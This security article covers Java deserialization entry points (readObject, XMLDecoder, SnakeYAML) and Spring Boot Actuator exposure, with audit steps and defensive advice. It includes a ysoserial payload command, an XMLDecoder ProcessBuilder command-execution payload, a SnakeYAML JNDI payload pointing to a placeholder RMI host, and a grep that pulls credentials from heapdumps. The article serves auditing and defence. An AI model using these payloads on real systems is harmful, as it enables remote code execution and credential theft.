This article focuses on Java native deserialization and Spring Boot security. It covers the risks around
readObject,XMLDecoder,SnakeYAML,Actuator, andheapdump, and addresses three common challenges in development and security auditing: identifying entry points, connecting exploitation paths, and prioritizing risk. Keywords: Java deserialization, Spring Boot security, Actuator.
Technical specifications are summarized at a glance
| Parameter | Details |
|---|---|
| Primary language | Java |
| Related protocols | Java Serialization, HTTP, JNDI/RMI |
| Article popularity | 344 views (source article data) |
| Ecosystem components | Spring Boot, Actuator, SnakeYAML, XMLDecoder |
| Common exploitation tools | ysoserial, Yakit, SpringBoot-Scan, JDumpSpider |
| Key risk categories | RCE, unauthorized access, sensitive information disclosure |
The core risk in Java native deserialization is controllable object reconstruction
Java serialization converts objects into byte streams, while deserialization restores byte streams back into objects. The security issue does not come from the conversion itself. It comes from feeding untrusted data into a parsing entry point.
Typical serialized data has recognizable signatures: the hexadecimal header is often ac ed 00 05, and the Base64 form often starts with rO0AB. These characteristics are useful for traffic inspection and black-box fingerprinting.
import java.io.ObjectInputStream;
import java.io.InputStream;
public class Demo {
public void read(InputStream stream) throws Exception {
ObjectInputStream in = new ObjectInputStream(stream); // Create a deserialization input stream
Object obj = in.readObject(); // Read an external object; if the data is controllable, a dangerous gadget chain may be triggered
System.out.println(obj);
}
}
This code shows the most typical native deserialization entry point: ObjectInputStream.readObject().
Common entry points should be treated as high-priority white-box audit keywords
During development and security audits, prioritize searching for the following interfaces: ObjectInputStream.readObject(), XMLDecoder.readObject(), SnakeYAML.load(), as well as JSON deserialization points in libraries such as Fastjson and Jackson.
Among them, native deserialization depends more heavily on exploitable gadget chains available in the target classpath. The presence of dependencies such as commons-collections often determines whether a finding can escalate from “controllable input” to “remote code execution.”
java -jar ysoserial-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0
This command generates a test payload with an exploitation chain and is commonly used to verify whether the target has a triggerable gadget chain.
Three common deserialization entry points define different exploitation paths
The readObject entry point usually depends on third-party gadget chains
Native readObject() is the classic entry point, but having the entry point alone does not guarantee RCE. Successful exploitation depends on the target project’s dependencies, JDK version, class-loading environment, and runtime security restrictions.
ObjectInputStream in = new ObjectInputStream(stream); // Receive the input stream
Object obj = in.readObject(); // Deserialize an external object; this is the core danger point
This logic shows that once the external byte stream is controllable, the risk assessment must continue into the dependency chain.
The XMLDecoder entry point provides a more direct command-execution model
XMLDecoder can directly create objects and invoke methods based on XML content, which often makes the risk more explicit than native serialization. If the application directly parses user-controlled XML, immediately raise the risk level.
<java>
<object class="java.lang.ProcessBuilder">
<array length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"/>
</object>
</java>
This XML payload instantiates ProcessBuilder and triggers start(), which executes a system command.
The SnakeYAML entry point has been underestimated in legacy projects for years
SnakeYAML supports type declarations and object construction, and it has repeatedly appeared as a high-risk deserialization entry point in the past. In configuration import flows, dynamic templates, and debugging interfaces, once load() accepts untrusted YAML, it can enter a dangerous execution path.
!!com.sun.rowset.JdbcRowSetImpl {
dataSourceName: "rmi://x.x.x.x/exp",
autoCommit: true
}
This YAML example demonstrates an exploitation pattern combined with JNDI, although the real impact still depends on the JDK and runtime environment.
Spring Boot attack surfaces usually concentrate around exposed operational endpoints
Spring Boot itself does not equal a vulnerability, but its convenience-oriented ecosystem and flexible configuration often make Actuator exposure a common issue. If /actuator is exposed without authorization, the attack surface expands quickly.
Key endpoints include /env, /configprops, /heapdump, and /jolokia. They correspond to configuration disclosure, credential exposure, memory extraction, and potential remote exploitation paths.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
This dependency declaration is one of the most direct white-box clues for identifying the Spring Boot exposure surface.
Spring Boot can be identified through both white-box and black-box approaches
White-box identification focuses on pom.xml, auto-configuration, and middleware dependencies. Black-box identification relies on error page characteristics, favicon.ico, Wappalyzer fingerprints, and direct probing to confirm whether /actuator is accessible.
In real-world engagements, /actuator/heapdump is especially valuable. It is not “direct RCE,” but it is often the most reliable information-gathering entry point and can be enough to extract database passwords, cloud service keys, and business tokens.
strings heapdump.hprof | grep -Ei "password|accessKey|secret|jdbc|token"
This command quickly filters sensitive information from a memory dump and is a common operation in both incident response and penetration testing.
Effective auditing should proceed across entry points, dependencies, and exposure surfaces
First, confirm whether the target is a Spring Boot application and check for Actuator exposure. Second, locate high-risk entry points such as readObject, XMLDecoder, and YAML.load. Third, combine dependency analysis to determine whether an exploitable chain exists.
If you find high-risk components such as commons-collections, older versions of log4j, or Fastjson, connect them to the entry function as part of a complete attack path rather than evaluating each library in isolation.
AI Visual Insight: This image is a product-branding visual element. It does not contain a specific vulnerability chain, architecture diagram, or code-level technical detail, so it should be treated as a page-level functional element rather than a security analysis object.
Defensive priorities should focus on minimal exposure and safer deserialization alternatives
On the defensive side, avoid deserializing untrusted data, disable unnecessary XMLDecoder usage and unsafe YAML parsing modes, and restrict allowed classes through whitelisting. For Spring Boot, disable or protect sensitive Actuator endpoints with authentication, and never expose heapdump or jolokia publicly.
At the same time, incorporate dependency governance into CI. Continuously check versions of gadget-chain-related libraries and reduce the chance that high-risk components remain in production for long periods.
FAQ
1. Why can some systems be exploited through readObject() while others cannot?
Because exploitation requires “controllable input + a deserialization entry point + an available gadget chain + a suitable runtime environment.” If any one of these conditions is missing, the issue may remain a low-risk finding rather than becoming RCE.
2. Which Spring Boot endpoints should be checked first?
Start with /actuator, /env, /configprops, and /heapdump. Among them, heapdump often leaks high-value credentials directly and usually offers the highest practical return.
3. What is the most effective first step when auditing Java deserialization?
Search for entry-point functions first, then inspect the dependency tree, and finally verify whether external input is controllable. Once you connect the entry point, dependencies, and input together, your vulnerability assessment becomes much more accurate.
Core summary: This article systematically reconstructs the key offensive and defensive considerations around Java native deserialization and Spring Boot security. It focuses on three major entry points—readObject, XMLDecoder, and SnakeYAML—as well as high-risk surfaces such as Actuator, heapdump, and Jolokia, and provides practical audit keywords, identification methods, exploitation paths, and defensive priorities.